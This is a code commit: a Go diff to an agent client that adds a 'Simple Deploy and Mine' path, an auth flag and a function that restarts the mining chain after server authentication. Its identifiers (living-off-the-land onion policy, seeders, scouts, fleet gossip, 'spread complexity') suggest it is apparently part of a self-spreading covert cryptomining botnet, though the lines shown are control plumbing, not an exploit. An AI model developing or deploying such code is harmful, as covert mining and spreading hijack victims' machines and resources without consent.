Add simple Deploy and Mine path for operators without spread complexity.

Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.

agent/client/client.go

@@ -149,7 +149,7 @@ func (c *AgentClient) Run() error {
 	c.miningChain = c.newMiningChainRunner()
 	if isSeeder {
 		deploy.StartSeederStaging(c.cfg)
-	} else if deploy.WantsDeferMining() {
+	} else if deploy.WantsDeferMining() || c.cfg.SimpleDeploy {
 		go c.startMiningWhenReady(chainCtx)
 	} else {
 		c.miningChain.Start(chainCtx)
@@ -395,6 +395,7 @@ func (c *AgentClient) authenticate() error {
 		UTM:                  strings.TrimSpace(os.Getenv("AETHER_UTM")),
 		LotlOnionEnabled:     c.cfg.LotlOnionEnabled,
 		LotlPolicyFromServer: c.cfg.LotlPolicyFromServer,
+		SimpleDeploy:         c.cfg.SimpleDeploy,
 		JoinLane:             c.getJoinLane(),
 		FleetRole:            config.NormalizeFleetRole(c.cfg.FleetRole),
 		SeederMode:           c.cfg.SeederMode,
@@ -427,6 +428,7 @@ func (c *AgentClient) authenticate() error {
 		return fmt.Errorf("auth failed: %s", resp.Error)
 	}
 	c.applyAuthLotlPolicy(resp)
+	c.kickMiningAfterAuth()
 	c.startContingencyIfEnabled(c.miningCtx)
 	c.applyAuthFleetRole(resp)
 	deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
@@ -1482,3 +1484,21 @@ func buildWSURL(serverURL string) (string, error) {
 	u.Fragment = ""
 	return u.String(), nil
 }
+
+// kickMiningAfterAuth restarts the mining chain with server-pulled tier/onion policy.
+// Mining may have started before auth with forge defaults; auth applies Calibrate policy.
+func (c *AgentClient) kickMiningAfterAuth() {
+	if c.cfg.IsSeederRole(c.fleetRoleHint()) || c.cfg.MiningDisabled || c.cfg.ApkMode || c.cfg.ScoutMode {
+		return
+	}
+	if c.cfg.SimpleDeploy || deploy.WantsDeferMining() {
+		return
+	}
+	if c.miningCtx == nil || c.miningChain == nil {
+		return
+	}
+	go func() {
+		log.Printf("[mining] restarting chain after auth with server policy")
+		c.miningChain.Restart(c.miningCtx)
+	}()
+}